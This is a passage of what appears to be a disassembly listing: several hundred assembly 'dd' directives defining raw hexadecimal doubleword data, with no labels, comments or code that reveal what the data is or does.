		dd 0E1024C72h, 0BE1FEF2Fh, 1BC7818Fh, 9980476Dh, 3945E5FBh
		dd 0EF277A0Dh, 0D82CE115h, 2070A89Dh, 1273A78h,	8460C8E3h
		dd 53F4018Fh, 0FF55941Bh, 8B099823h, 886421h, 32F595F4h
		dd 0F9D07BE2h, 7D14E617h, 0DDAC9CC1h, 31A0609Ah, 4D760885h
		dd 0F0B9F9F8h, 90C928F2h, 9CEC190Ah, 0D0111FF2h, 0D6FC5380h
		dd 6017D46Dh, 64D6B3B9h, 20246E0h, 1B54F490h, 1097319Ch
		dd 3F48163h, 906F4F68h,	0D2DC1682h, 3847B7E4h, 74605D44h
		dd 7F007EC6h, 0D579C298h, 7B80CC73h, 12AC9A3Bh,	0A018F24Dh
		dd 0A13EBB78h, 97E8925Ah, 0EE26B8F0h, 4C40820Ch, 449843CEh
		dd 0C8B4020h, 447D0F01h, 0F700B820h, 328EADFBh,	1DF68D9h
		dd 8F495926h, 0EBA69854h, 1E4A7012h, 17F7CB2h, 408FC0ACh
		dd 0E0016DCEh, 0ACA8C1BBh, 0D000557Ah, 0FB430703h, 0E3F848h
		dd 323E5458h, 505FBF69h, 82002C78h, 0E89D5101h,	94A0BE3h
		dd 23531B90h, 0A1A0648Fh, 0C9827702h, 94E6D713h, 76CA24A1h
		dd 7DD38010h, 8B19855Ah, 884CDC28h, 2FCD620h, 5D1F511Ch
		dd 84C26B79h, 6057C004h, 21B5E158h, 76C067CAh, 0CFE150h
		dd 0A0AAF5F4h, 0A131B862h, 3E97B208h, 0C8E125DCh, 0DCFC0423h
		dd 8F559A87h, 70F8C9C7h, 73372731h, 0ED0E1AEEh,	0E759E0CDh
		dd 0AC1781D7h, 0C8643662h, 971C0504h, 0C6608CA0h, 79808D90h
		dd 6AED24EFh, 35B164C0h, 8C7B502Eh, 0E06A9300h,	0EDCB3C07h
		dd 42C60476h, 9850B1BAh, 4DF41F9Ch, 0BC25592Ch,	3079D70h
		dd 50FDB7BAh, 6103A77Fh, 0D3F45146h, 0BE93A006h, 5B1013DBh
		dd 176CF2BDh, 7C040394h, 89044485h, 6D4B9A9h, 3DBAC6B6h
		dd 943800B8h, 97F40619h, 4F00BB28h, 3724B70Ch, 0C098E3B6h
		dd 0D1F7A271h, 0CD000E1Bh, 0B508B3A9h, 0B796C8h, 97D2E729h
		dd 3C524FABh, 0DFEDDE1Ch, 7CBF5A00h, 13FDF3A8h,	0E2E63087h
		dd 0FE1D0EFCh, 0F1DC2744h, 0E81B841h, 0A9AC41EDh, 0F2AA0868h
		dd 0DA6DAD05h, 82172CD1h, 3D361360h, 0B7803433h, 0B4D11681h
		dd 6D24A6FDh, 133C5429h, 74F4E4E6h, 95120023h, 6AD83994h
		dd 24FF7690h, 0D6204528h, 0CBC0041Ah, 0C0851F23h, 0FDB8CDC0h
		dd 1BDC4484h, 7365D1Ah,	0D0C4C30h, 70AACBF5h, 399093D9h
		dd 2E870CA0h, 891415E8h, 38102806h, 6420C6E2h, 0B998E8A7h
		dd 18D0D1C4h, 0BF5C00C5h, 0E8D7B587h, 24581996h, 0CD3A3E84h
		dd 0F2750858h, 610B3FFAh, 789087A4h, 4C3E16B1h,	67840113h
		dd 687BB5F4h, 21110898h, 13005436h, 2C5A8507h, 5CF03A1Dh
		dd 561010EFh, 0D8243CC1h, 60270808h, 0D8F631C0h, 0F4D8BCA3h
		dd 0A20433EDh, 4DB03047h, 5D9D1516h, 0FAB1C030h, 1EB6FEB9h
		dd 6E8358D2h, 0D88114ECh, 30C14D3Fh, 56547FECh,	4C7A9BD8h
		dd 0F12B2340h, 93080020h, 0F4B601E0h, 63AC1B56h, 658BA0h
		dd 0FE0271B0h, 64DC07A7h, 0C4B6A86Bh, 0D2DCFCB7h, 2EA4C04h
		dd 0BB8AC011h, 0C00344F8h, 0B76D3DEBh, 0E0F5E325h, 3222E8h
		dd 9CB86CCBh, 0D81780F8h, 882038D3h, 5ACE5956h,	517C82D0h
		dd 425B4040h, 0DA64848Ah, 3881401h, 12029E3h, 11D0FF0Ah
		dd 0C4D2C76Fh, 0FC544CE4h, 0E4E40213h, 1201D5F4h, 9AECC585h
		dd 11CCAED4h, 7E940EB7h, 5080800Dh, 464B198Ah, 8B995B14h
		dd 0D0323A0h, 0D698F489h, 45DCA0B3h, 50C78262h,	870F3F80h
		dd 8D5F0385h, 80A235Dh,	0CCBE5680h, 0B849CB0Bh,	0D872A9h
		dd 3D9EFC8Ah, 0AA31963Bh, 0DB190B60h, 74CE79A9h, 0D9B701BEh
		dd 0FB0A783Fh, 0A145F497h, 103A5226h, 0BC04D896h, 8709A734h
		dd 6A009C44h, 0BF894EB3h, 25E95D01h, 50012AA7h,	73A67B50h
		dd 28421084h, 8280CE04h, 0CF4909Ah, 52064BC1h, 7306875Bh
		dd 49D617C0h, 0A0CC0890h, 0EB03E9A8h, 9BE6E19Ch, 0B0E8E857h
		dd 301D4B06h, 4850D15Ch, 4DF014B8h, 70140A34h, 0FC725081h
		dd 18451F00h, 38727341h, 0B73046F2h, 1F062CD0h,	3FBF6E74h
		dd 0AC81DF3Eh, 6FF1DB4Dh, 0C0E02893h, 0CA01AD46h, 9B543080h
		dd 0F8DAB988h, 24AD08A9h, 0DF63BB60h, 0B0F57D59h, 519745h
		dd 1BD5F8BEh, 6075F724h, 4F915896h, 4EBA1E80h, 9C2D59h
		dd 2069458h, 1E4C66BAh,	6E03F21h, 0F916C5D4h, 0E0496CFEh
		dd 0DC445Bh, 395674FCh,	0E8412E8h, 4E70D92Dh, 2F474AE8h
		dd 8A23A0h, 1075C14Ch, 0E63DBBF2h, 4BBA2D6Ah, 7F41A4D8h
		dd 25083027h, 0B9D40568h, 994B0FE4h, 1E064095h,	3C48D74h
		dd 157FD1DDh, 0B89FE64h, 1C22E4h, 0AE1F1BB2h, 500C8BC9h
		dd 30E9D1CBh, 46991951h, 0F330C36Ah, 9D49C820h,	6250965Ah
		dd 0F4E37D74h, 964360E1h, 0F4B4A981h, 0B46C01E5h, 617FF77Ah
		dd 8D4EFC6Bh, 4A511F04h, 2092CA90h, 80E8D4A9h, 3B16B94Dh
		dd 0B3A041Ch, 21DC83EFh, 9BEA2628h, 8A99D137h, 8C8E2C64h
		dd 20134D04h, 14622F84h, 13553D20h, 0C17F04EDh,	0C07C933Eh
		dd 0F6E13204h, 0E6315207h, 0F037D696h, 0EAE020EBh, 7A880B24h
		dd 1210626h, 0E14F40A6h, 0E548E200h, 5F864AEAh,	0D8A203C6h
		dd 75E983ADh, 87B208A0h, 0F8C81E2Ch, 10325D8Eh,	9106AA18h
		dd 38003A0Bh, 1CCBE663h, 0E3632E4h, 3D4A4476h, 3E98CAC1h
		dd 1C733FDCh, 84F82376h, 1E134F07h, 10623FA4h, 1357672Fh
		dd 6B27BDE1h, 1DA58CF0h, 0C0B329EFh, 0C5B2F193h, 67004EF4h
		dd 0CC55E423h, 980FE152h, 9ECB1C54h, 0E14957F6h, 0A2186300h
		dd 4A5530CCh, 74DBDE1Dh, 267AACDCh, 0C90E988Bh,	8B8854C7h
		dd 0C45AE3h, 7BB99646h,	0D9F3DC8Fh, 2AE6617h, 7537101h
		dd 0C4764955h, 88A4640Ah, 134BC088h, 5F46841Ah,	3B020F22h
		dd 5C241353h, 7806119h,	8ADA3201h, 0E05EAEECh, 1ACACC03h
		dd 6422D25Dh, 2564684h,	0CAB6E155h, 105A316Fh, 98E14D77h
		dd 5DB00B59h, 0F859C00Fh, 0C01A180Fh, 0F1AC9E1Bh, 608008Ah
		dd 6B463035h, 501ECBD7h, 0F59F835Bh, 0CA871740h, 0AC49B1BAh
		dd 101C7ABCh, 0E01D5950h, 1EBA0492h, 86A5E0h, 4AFBABD4h
		dd 0AA482C88h, 0F090CCh, 0FFF0A52Bh, 2D23E3Bh, 0EDAAB5D6h
		dd 68E0D4E2h, 9ED1A0h, 9964676h, 829A11DBh, 7C4F3E8h, 84E059BBh
		dd 0A0B538C6h, 0E50F1914h, 0E65A804Dh, 0A4C5EC5Bh, 80DA3408h
		dd 18C9BBA7h, 4B074A6Dh, 7CD1EDB2h, 0D28D26F0h,	1B8B3C7Dh
		dd 4958E613h, 7465B980h, 2E60CDC4h, 5D13E976h, 4E050319h
		dd 64B4C3CEh, 2F014236h, 8DACC827h, 50F50ACBh, 83FCD339h
		dd 0F9B698CCh, 30963931h, 0C6114328h, 2B7C40CCh, 4B5A91Fh
		dd 58A2B7F4h, 513059F2h, 0C4260161h, 0CEB8CA91h, 3A789EF8h
		dd 0B0C46Fh, 3BBB2A9Ch,	606B1947h, 623A7203h, 98B48970h
		dd 1D166971h, 17F626E2h, 82F4F4B9h, 0E209092h, 90AA3223h
		dd 0BC67C050h, 0A7601744h, 7C382625h, 780E0083h, 2223697Fh
		dd 0FD7102ABh, 0EA90CCE3h, 0E5106050h, 0D716B2DEh, 72C0D0AAh
		dd 0D316E8CEh, 0E30A91EFh, 4C2ECC0Eh, 22CCB694h, 0F4583E63h
		dd 3F929107h, 0BC359582h, 0DE247060h, 0B3843020h, 0BC0BD847h
		dd 620008FAh, 5CE6F5A8h, 1E031D18h, 421E83BEh, 9A90CA55h
		dd 4901D4D8h, 94E37F58h, 0C8507753h, 92B697B4h,	51460274h
		dd 39794384h, 0A41D108Bh, 94805911h, 0D13CC897h, 840CAA2Ah
		dd 2EEA8500h, 0FFA18D33h, 3F430356h, 0B5252A34h, 23AAC9B0h
		dd 0BC6EB6F6h
		dd 0C06231A0h, 6600FD8Eh, 5860C6F3h, 43067481h,	99C4549Dh
		dd 6EC37DA3h, 0ECD085F5h, 0CFCB80ECh, 50FE6D1Ah, 26E4B816h
		dd 744C4C45h, 0CE00C446h, 0E0DE31CAh, 6DF3E659h, 1EF040Ch
		dd 0A8B4FE50h, 0A540997Ah, 5000A035h, 17E067CEh, 3290B820h
		dd 4CB043D5h, 49E81B31h, 22054659h, 39109C3h, 88099EBAh
		dd 831270C6h, 0C4D0E411h, 0C92B7Dh, 0BDA30602h,	9A583C5Ch
		dd 88CABB00h, 0C7CB8203h, 1A490262h, 4C511C2Ch,	38004CDCh
		dd 0F61DCFBFh, 0B0C01220h, 3A80520Ah, 9023B8h, 664481BBh
		dd 600795A4h, 6E94860Eh, 0D960B2DBh, 18C379E0h,	4A402478h
		dd 739204h, 6D9F591Ch, 3F58D0E9h, 0E3A80724h, 4D269D52h
		dd 81501229h, 9A6CC8A5h, 78441B4Fh, 88803620h, 16344EAh
		dd 0E6D73EE9h, 64DE94CCh, 48C8DE8h, 841F134Eh, 330CE37h
		dd 0EB135640h, 2E6AB85Dh, 0EED0B45h, 0E400084Eh, 0A9B136FBh
		dd 235D6E00h, 42983A33h, 80F80929h, 7CC6C67Bh, 1806BC81h
		dd 58F4088Ch, 95C4BC1Bh, 0F48D6740h, 19097382h,	68200610h
		dd 30E6D878h, 23D09C90h, 0EBFF927h, 7A50E47Ch, 3E10F8B3h
		dd 0DF290002h, 0A94F597Eh, 21092C7h, 5CAE548h, 0B852589Dh
		dd 494D080Ah, 44EFB08Bh, 38F40166h, 69C2F0A4h, 48821003h
		dd 4301D986h, 407A35C7h, 1B2360A8h, 5300ABA7h, 0C50E846Bh
		dd 8FFCAC9h, 0FD35C688h, 0A5172982h, 360CC854h,	0D4A252D8h
		dd 49018223h, 4F841C13h, 39B04428h, 28021351h, 4C2CFD2Fh
		dd 7D5061BBh, 52239033h, 8AE18438h, 5C624FCAh, 0E1497320h
		dd 396F055h, 6045B2BBh,	1E008E27h, 51078AA0h, 14C0CEF6h
		dd 80C26690h, 4BDC204Ah, 0EF2417BFh, 0FF080487h, 384D52F5h
		dd 89D00360h, 0DF0400C9h, 76C132BEh, 0B8173444h, 6CA4DC72h
		dd 81254435h, 7410E27h,	74D2D618h, 11AC9F8Ch, 2AF5800Dh
		dd 231BF4Fh, 0FE535CD6h, 75779F0h, 7859D54h, 4823B43Fh
		dd 5C73E07h, 0DDDEE353h, 840BE4F8h, 6986D7AAh, 4C94B99Dh
		dd 1D11465Ch, 4E8E9AC8h, 89C480E3h, 5CBA9854h, 0DA84BCCAh
		dd 8428211Ch, 0D5FCBD10h, 9B516707h, 1C00AA44h,	5AF9EF7Ah
		dd 80C844B6h, 1090546Fh, 173C1312h, 0B70BB92h, 0F0A5820Ch
		dd 0E230A23Ah, 0AFCA308Fh, 44484600h, 0FD658849h, 0C65B0A18h
		dd 0A888414h, 8C4D6B0h,	1C647254h, 24E9A94Bh, 6F40D845h
		dd 67F17B00h, 0A25C9A9Bh, 0BFD0714h, 43E22A4Bh,	0FCDDDE5Bh
		dd 235105ACh, 0C4913E5Dh, 947736B4h, 3A06F601h,	60939E4Fh
		dd 220AA1A7h, 1826325Dh, 49400B64h, 0E1F5CC55h,	8C8AB700h
		dd 0FDA8457Dh, 2F601C9h, 610F22C5h, 0E8802A69h,	30168462h
		dd 241057F1h, 0E62B88CEh, 72D8A48Bh, 35890074h,	0B00DCEB5h
		dd 0D48008C0h, 94828291h, 60006B75h, 4B0F01B2h,	0E27C8051h
		dd 18B361F3h, 62E170h, 0A33CCD21h, 0A9E54F5h, 28AE93Dh
		dd 72596676h, 8068B5FFh, 29B6A74h, 500EBC9h, 3059B8BAh
		dd 4CF22C50h, 7216C806h, 9EB491CAh, 0EACB0052h,	20D1621Ah
		dd 7102D28Ah, 791C5112h, 739185Ah, 78840496h, 0C5F63119h
		dd 0DEE03445h, 4896420h, 0AAD46283h, 0A0064F08h, 0C6A7908Ah
		dd 3A313C76h, 0B5026C4Ch, 20961528h, 0E244C446h, 5C0094B9h
		dd 7804D046h, 0C0213D88h, 1B4C02D0h, 0FF32451Bh, 0AD51B060h
		dd 19D6324Dh, 0EC40BA10h, 11956D81h, 0C1143E8Ch, 1FD2AA0h
		dd 0C9A45AAAh, 85811144h, 0DA09134Ah, 0E083157h, 13523C10h
		dd 815A353Fh, 168258F3h, 412B6B1Dh, 6D20CAA8h, 6811F710h
		dd 806FFDF8h, 6651DC85h, 949CB60Ch, 1CF465Ch, 0A9E46DCEh
		dd 1C6029ADh, 4CF543FEh, 0D97B8050h, 4C6C7022h,	38103036h
		dd 9DFB047Ah, 0F4D4A054h, 48BC44ACh, 0BE41018Ch, 0CE5B2702h
		dd 25CC6C05h, 11F89764h, 0D257800Fh, 0BAC5145h,	0B21EDF11h
		dd 8A91AC1Dh, 0C357AE80h, 2F7B44D2h, 4C7C113Bh,	70AC00A9h
		dd 0DAB4FBBEh, 1890B940h, 5B03D131h, 9A744672h,	1CB14301h
		dd 0CC2A1A4Bh, 9B8F9A8h, 48E3D820h, 0CF2AC48h, 10001948h
		dd 0B9005101h, 34EA5DC0h, 41F8F6D9h, 3A44949h, 51465C9Fh
		dd 0E281A89Ch, 0D6C5BC6h, 7C40F5F8h, 995904E4h,	0D0B91E82h
		dd 7C58F64Ah, 6270D122h, 61E510B2h, 80B45207h, 0EC2780C4h
		dd 25CCE14Ch, 0B4481690h, 6F0CA18h, 22646495h, 6F31118Eh
		dd 9330489Bh, 0CA38F600h, 384A0130h, 5B2F80CCh,	305013F7h
		dd 0E398CE28h, 108D654Fh, 0C665888h, 878C6A80h,	5E268204h
		dd 0C9B41C55h, 64707836h, 67170EFCh, 6C0004EBh,	0C74C5284h
		dd 0F9FC60CDh, 62C1F1F2h, 5072903Ah, 0DA043164h, 8975842h
		dd 1351EE0Fh, 28B42705h, 0C23209BDh, 90022D9Ch,	541AE202h
		dd 220586F0h, 597E31D2h, 65272098h, 452C105Eh, 44684D8h
		dd 52F48A02h, 0B4598C1Bh, 0F4836160h, 85F0007Ch, 53736DD5h
		dd 490105Ch, 275AB12h, 9EC4C802h, 5DF8C4DEh, 96F8BC62h
		dd 5161F8E3h, 6497F40Eh, 0F2441C7h, 3020B5B1h, 38DE27E0h
		dd 58790441h, 0A5865174h, 608CC4BCh, 54736EBh, 5B45F2B9h
		dd 19A4049Fh, 5181324Eh, 1897F198h, 59341DFAh, 609354DEh
		dd 2A485B3h, 70A2151Bh,	46FC8020h, 0F4486C8h, 938896DEh
		dd 0A2E8C39Fh, 10D8ECDCh, 891264F1h, 36082C1Ch,	0C497F188h
		dd 32C38A60h, 9E2CC45Eh, 6A0FD67Ch, 41BF5D34h, 0B7A90558h
		dd 3670C1F2h, 3AF4122Ah, 24623D4h, 0BB5B8CD6h, 153EAC7Ah
		dd 0FF8B0097h, 0EC07DA93h, 0A1A80288h, 0ED4632DCh, 86108B40h
		dd 5C118D0Fh, 0BBCC024Eh, 5C2C7439h, 72008F46h,	185E48E2h
		dd 0D9162D5Ch, 60A285D1h, 43125BA2h, 1070AA1Ch,	0DF447D7Ch
		dd 26EF46FFh, 0D0E46053h, 0CA682057h, 0E75D2380h, 89750BA8h
		dd 0AF8851A1h, 13422C90h, 4515AE00h, 17449154h,	57DC0404h
		dd 0EB5A9D03h, 10825422h, 9C0F584Ah, 831820F8h,	87C7CBB6h
		dd 50DD2834h, 81B546E0h, 0B8D02E3Fh, 70E6222Dh,	0F2BC00A7h
		dd 144BA8FDh, 0AD7EFCBEh, 0F9908B54h, 3420A281h, 9EE38820h
		dd 0F44081DCh, 15510467h, 0AF9B026Dh, 0E4FE919Dh, 804C8C81h
		dd 831062DFh, 0D47698CAh, 0E796A0B4h, 6A883A0Ch, 3E367D26h
		dd 6E801192h, 1923E01Fh, 42484F45h, 0C051884Ch,	0CA8BE152h
		dd 0A0CB574Bh, 0E14A7400h, 737D4DD8h, 27D24512h, 0E2028CEDh
		dd 0A2F5F765h, 0DC20D4h, 0C11EAC0Ah, 9A08F8B4h,	0D64D2008h
		dd 96311CFDh, 0BED300E9h, 7B5091F7h, 4480D09Eh,	4261AB6Ah
		dd 0A4AA4EF4h, 5D00B500h, 909E10A9h, 14B83B0h, 7C127787h
		dd 82DDF478h, 39CECB49h, 11849DD7h, 1373875Ah, 511D91F1h
		dd 6E5E1C76h, 61A5004Ch, 0A90E82E4h, 0B040BA41h, 70689725h
		dd 84746E9Dh, 52C9E902h, 0EE5A9E4Eh, 5988B9E0h,	451812h
		dd 3136DFF0h, 0D2814C7Ah, 0CDC4E0A7h, 0E2742560h, 0C90E8415h
		dd 0C6E00B84h, 942443C8h, 24262CF9h, 0FC5292C4h, 360804Ch
		dd 76D93E0h, 18A1025h, 695BE681h, 5878099Fh, 0E4515C4Ch
		dd 641CC897h, 0AA8D2C00h, 79E03128h, 4C9700DDh,	0D5B46A46h
		dd 19128A49h, 0A8E42506h, 4CFB07BDh, 0C3C0BAF1h, 90A001F5h
		dd 20B7E012h, 43622C38h, 4017B5BAh, 0B8FCA11h, 6DC9D8A0h
		dd 333A509Ch, 1ADE977Bh, 7EB8BC45h, 49D30F0h, 54829A16h
		dd 0E2E881CCh, 0D13A01F5h, 4E4E88E0h, 78F6CBh, 0D48ACDC8h
		dd 2A95E87h, 4D01E5EBh,	9677459Dh, 59493FC0h, 22AC1FACh
		dd 0FC800140h, 24FD4BE4h
		dd 0D3F6FC33h, 9118979Fh, 5BB380C3h, 0E78368DEh, 23F08C3Ah
		dd 7C0BE500h, 0A8093DBEh, 0F4C700AEh, 64376EADh, 87122085h
		dd 0E8B26151h, 0DC7A8E7h, 0A3859437h, 21098A8h,	90CC05FFh
		dd 0A047F70Ah, 268264D3h, 0C71301F2h, 0B01C28CFh, 7E4B1C8Eh
		dd 82C20919h, 0ACF02D16h, 88C46D02h, 0F0658026h, 0D6F494A8h
		dd 0C8AAEF01h, 81D68299h, 23902F3Eh, 3250000Dh,	6FE7BAD2h
		dd 901C90B7h, 0E3480704h, 50E8C7EFh, 95597E7Bh,	889E9C04h
		dd 44EEE5EEh, 47FD31C4h, 6C3417F9h, 0BD102CD3h,	1F6A004h
		dd 82FC2B07h, 0C4D67A75h, 72B1C200h, 6FAD5Bh, 8CB95A54h
		dd 99A287E9h, 36455700h, 0B7DA77A3h, 0C91B4E05h, 2D0CF100h
		dd 0B22C5390h, 0B64230CCh, 1C68E2Eh, 39E44700h,	0B46CC80h
		dd 0FA2B3084h, 0FFF1843Bh, 0C7B207F8h, 2DF87234h, 60692305h
		dd 587D40h, 0E72FBA1Eh,	5C942B7Dh, 5502AFBFh, 8807CA19h
		dd 0CE44DC67h, 64E44060h, 457AC804h, 0B48A28C2h, 0C0081A07h
		dd 0DE6AF7CBh, 0C01A208Bh, 0D6C438C0h, 1C05B213h, 82FC5031h
		dd 99365BDCh, 0CA8405F0h, 1000A8D6h, 0B9095A11h, 0A43764B2h
		dd 352C3300h, 8BCC827h,	0FD5A4D1Ah, 0AA4E2900h,	9B2E35Fh
		dd 72A4E09Eh, 0A30018D0h, 0F00EB046h, 5CE35D1Eh, 0CA04C02Fh
		dd 0EAF12EB8h, 7AB98440h, 946371EFh, 40DB44BCh,	7476B54h
		dd 1CF5058Dh, 0C10EDD7Bh, 0C9EE90h, 4D36C6A3h, 642460A9h
		dd 1502DC98h, 6A34FEB4h, 1A90E4B0h, 0B1FD451Fh,	4DCC056h
		dd 23117E9h, 0BC4082BEh, 80804C7Ch, 1AAC1316h, 244704FDh
		dd 0C651BD02h, 544668E0h, 0B1E15313h, 0C0F87284h, 75E14B71h
		dd 171A1D70h, 1880EF69h, 0B11E8482h, 60F848F3h,	0CA9BE913h
		dd 0F45D580Eh, 1D05120Ch, 0A95AC423h, 0D2109224h, 970CA929h
		dd 38BB844Dh, 515A4465h, 0B130F6F4h, 24C01159h,	547D3027h
		dd 9B8CC681h, 196048C2h, 45DCDE0Eh, 0ACF8A964h,	6D961D32h
		dd 0EC57802Fh, 81AE037Fh, 1492894Ah, 7B02207Eh,	0E496F7DEh
		dd 645F9508h, 0E4CB5779h, 42C089C8h, 0B9D0D2Ch,	3568A8Fh
		dd 6CDDDC82h, 82205907h, 0B94FB926h, 248B90C0h,	0FB004CC0h
		dd 0A09DFD1h, 5B44F053h, 0B950C02Ah, 6CF9205Dh,	8C5DBCE4h
		dd 5873DC00h, 91D96484h, 0A78F1C14h, 35C685BCh,	9DFCAC4Ch
		dd 4B3058EDh, 3138D040h, 5B4ED0E6h, 2F2AA889h, 0F1123ACh
		dd 3500478Ah, 5E729A2Dh, 60CA3101h, 937BF751h, 0B4D94041h
		dd 0C0641E02h, 0F835F4F9h, 4E2BF202h, 0F850E659h, 0EC90B584h
		dd 32005241h, 53FD49EDh, 9A8B03h, 0CCE246AFh, 52B01E72h
		dd 0AC7A050Ah, 0CA08F0D8h, 457309DAh, 0E49F785Ah, 0B51700B8h
		dd 270AF970h, 0F32634BEh, 4A111CA2h, 8CC8DE2Fh,	11F4B698h
		dd 0E3E9E21Fh, 0A0974082h, 0A51B40C0h, 30BA1755h, 2710B21Ch
		dd 24DABBh, 6D792AC7h, 84EFA67Ch, 1662E904h, 54882D53h
		dd 98CC88F7h, 0C8E87A2Dh, 82097288h, 0BD354C03h, 0A49B614Ah
		dd 4F91A082h, 0B5DC10D5h, 0CB8B06Bh, 5947BE88h,	0A502459Ch
		dd 4A1C2F73h, 0D3A484E0h, 0D9D87506h, 0FCC444h,	895C0C29h
		dd 0CE032DADh, 0CFEE0200h, 5CDC796h, 0BDE20D48h, 7C316FA6h
		dd 9E978B0h, 0CEC8A0EEh, 0A937B8h, 0D7B7FB1Ch, 57EA5D98h
		dd 5CA2564Ah, 0B25B9D0Ch, 4CB8A649h, 52783AEAh,	0B9DF6A05h
		dd 8083AC6Bh, 614025D8h, 463D6097h, 0E9211C00h,	1F6F330Ch
		dd 61DB153Eh, 0C68FB4A0h, 25BB2C64h, 0FC20B337h, 361FF8FDh
		dd 25AC6459h, 0DD0C11FFh, 30406910h, 0F9EF261Ch, 27221028h
		dd 94A7FED8h, 18C52728h, 996245E4h, 20A11041h, 8388E05Ch
		dd 9C6559EEh, 41841868h, 3368CE76h, 0AC0279BCh,	99414313h
		dd 29F48517h, 97F8E0F8h, 31A5038Ch, 9DFCB953h, 0FC9030A2h
		dd 18C8D0B6h, 484211FAh, 8C5BE870h, 4048AF6h, 41CA6530h
		dd 84D69483h, 0C7C63105h, 0D17C3471h, 6AE42160h, 0FE4504D0h
		dd 8B2B006Fh, 169D49B1h, 0AD015299h, 0B27C173Fh, 2C204B85h
		dd 9C745142h, 0CABC547Ch, 0FE86008Ch, 0E6AEA931h, 44004D74h
		dd 0E4D0CB70h, 548550C6h, 135598A1h, 0C22128Ah,	40706F41h
		dd 7807E35Eh, 0E5D49054h, 4830C8F0h, 9A2218B4h,	0E932BD04h
		dd 9C814D11h, 28939485h, 8480F99Dh, 0BB02D80Eh,	80FEB25Fh
		dd 80842CF4h, 1E501E5h,	7C0E90CCh, 0C1A1424h, 0DD177E9Ch
		dd 0D0F47A81h, 91209174h, 0F4B58007h, 0B1A41B55h, 8E66C0A8h
		dd 0BA784CF4h, 0DA848B00h, 14AD0BBEh, 0FE173039h, 0DC6E90D9h
		dd 0B7408CA4h, 493F8856h, 67041492h, 4E701245h,	6A9D37C0h
		dd 0D0923298h, 4404A38h, 0DF5A6515h, 2C004DBh, 9B39B74Bh
		dd 467CD4BCh, 4060F5Dh,	0C72000F3h, 303688E3h, 1E6901AAh
		dd 0CC3AD4CEh, 0E68C8F0Ah, 0C0A8F637h, 1FF61210h, 25921519h
		dd 0C0401CACh, 80D982DFh, 293A4504h, 0FE101414h, 0DBBB15F3h
		dd 8AFF1F98h, 5DB3D340h, 540ADCBh, 0C7BA8D9Ch, 58FCC8B2h
		dd 32798A40h, 4460DAACh, 9591F09Fh, 61C05C87h, 321B063Ch
		dd 616A0290h, 0DDA72805h, 4D1B0898h, 60256628h,	0BA09520h
		dd 12465C9Bh, 4914E424h, 9418E8DEh, 956E073Ch, 60FD0DCBh
		dd 0DE3096E5h, 68F2A300h, 885B45B3h, 30555C52h,	0E08EE01Bh
		dd 37016EE0h, 608C355Ah, 8365E34h, 50985FE8h, 80225620h
		dd 9D4E2B1Bh, 8A01E86Eh, 93CD4970h, 14D06A40h, 0C7A751h
		dd 6F863AC6h, 0AD4FB5C8h, 800E8700h, 0BE036CB4h, 8A0105EAh
		dd 0CC9F24AAh, 7D03B064h, 7CC4B69Eh, 596FB97h, 0E82C018h
		dd 60F4D121h, 34F6C2FEh, 10A85512h, 8C8CBCh, 375D3160h
		dd 43151B04h, 74D0425Fh, 30CE45D2h, 8460982Ch, 0E609D7A9h
		dd 0DBDF80D8h, 0D8CC78FCh, 3327635Ch, 0B78119F9h, 1ED1008Eh
		dd 1396E95Dh, 401DD9Ah,	1023BDCh, 3F3ECE5Ch, 0EFAE7880h
		dd 794F34CAh, 0FE610700h, 447820D4h, 0CE300437h, 0B5BCDFB0h
		dd 8F68F5ECh, 41C66CD0h, 0EBC46474h, 0DA04D462h, 0B8666FF1h
		dd 0AE8E2FA0h, 90C08130h, 0CC24FAA6h, 968CA46Dh, 0B07712DCh
		dd 10C4088Ch, 70E4917Dh, 4FBBF0F8h, 19248CC8h, 807E7D27h
		dd 0E2B0CC9Ch, 6559C2DEh, 64002476h, 94DCE1BBh,	0C33D16A4h
		dd 0CC80C690h, 0E62F1528h, 0F1E01119h, 30905711h, 524A4DA9h
		dd 0DE11DCC2h, 0FF0240A0h, 0E802BD78h, 2C3DACB7h, 2698E0DEh
		dd 0EE096DDh, 135E34B8h, 84B8FCDAh, 2101A2C7h, 3A6B390Fh
		dd 0A1581844h, 105E7909h, 1FD1F1E2h, 0A20FC63Dh, 66402C18h
		dd 222F0535h, 0C65BDC0Bh, 71F80C94h, 0D419951Dh, 1471AC29h
		dd 59216E09h, 0CA9B1008h, 8185C063h, 0C891ED0Eh, 54C2DE60h
		dd 80268434h, 504004E0h, 9DF2D890h, 9CB2004Ah, 62A22EDBh
		dd 0CBF47DBEh, 5BC5BB02h, 475909E6h, 600EC480h,	9C532h
		dd 0ED5BFD3Dh, 70B9776Ah, 0C30CF0C9h, 0D721E7A4h, 304A6181h
		dd 3007A3DEh, 0CEA29779h, 1E90822Fh, 84F704FDh,	200FCDBh
		dd 9CC6D358h, 3FBCF3A8h, 0F161Dh, 0D1CB8253h, 5017E894h
		dd 7033A27Ch, 0E054FA1Bh, 0BCAA9EC0h, 0D16180C0h, 9F5AA382h
		dd 8185F09Ch, 708190D8h, 0AA05D46Ah, 98CC9030h,	1FDF40E2h
		dd 34145D1Fh, 11C09D27h, 0BBB18046h, 37195Dh, 1694CBC0h
		dd 3CEB284h, 8C9A9F7Bh,	9AEA5D07h, 0D7855143h, 0A5BA74C0h
		dd 0D3F6262Ch, 5F011148h, 5CB564C8h, 8102108Dh,	8B08E6D6h
		dd 4676707Eh, 6E5130Ah,	0ABC3C0C9h, 2951091Ch, 0E470E90Fh
		dd 0B0C6D626h, 4084B040h
		dd 0A384A8B6h, 419B0FC0h, 0C2248293h, 0D068880Ch, 0B448A067h
		dd 6F451D10h, 0CE5912E1h, 5698B0CCh, 4A6CA31Fh,	106B0A8h
		dd 1290CBADh, 94649C48h, 0EE38C8B7h, 0DB0B4340h, 0D22806A7h
		dd 0CFC62570h, 0A5C030A2h, 36206C70h, 0C4695C3h, 59D19CB1h
		dd 0BFA07E18h, 341262B0h, 0E004A3F3h, 411CA1DEh, 680E5FAEh
		dd 25DC32ECh, 58607BB9h, 0BD05F348h, 0B7191682h, 0B952B803h
		dd 0E153F9FBh, 0B6509187h, 0F98F8FC9h, 190C5486h, 0EB8E4B5h
		dd 665142Ch, 0A8CE6144h, 6DA110C8h, 90365C05h, 2BE00262h
		dd 0A068590Fh, 44F6AFCh, 0C190085Dh, 3C10542Fh,	0AD00F0BFh
		dd 213544EBh, 731E7316h, 99BFE05h, 5265F2CDh, 0B100E45Ch
		dd 68BC2AA0h, 58C2BDE1h, 5CD93459h, 68008418h, 0EDDC462Ah
		dd 0B588042Bh, 0E47B2010h, 0A665AF00h, 0D2A74816h, 5D391350h
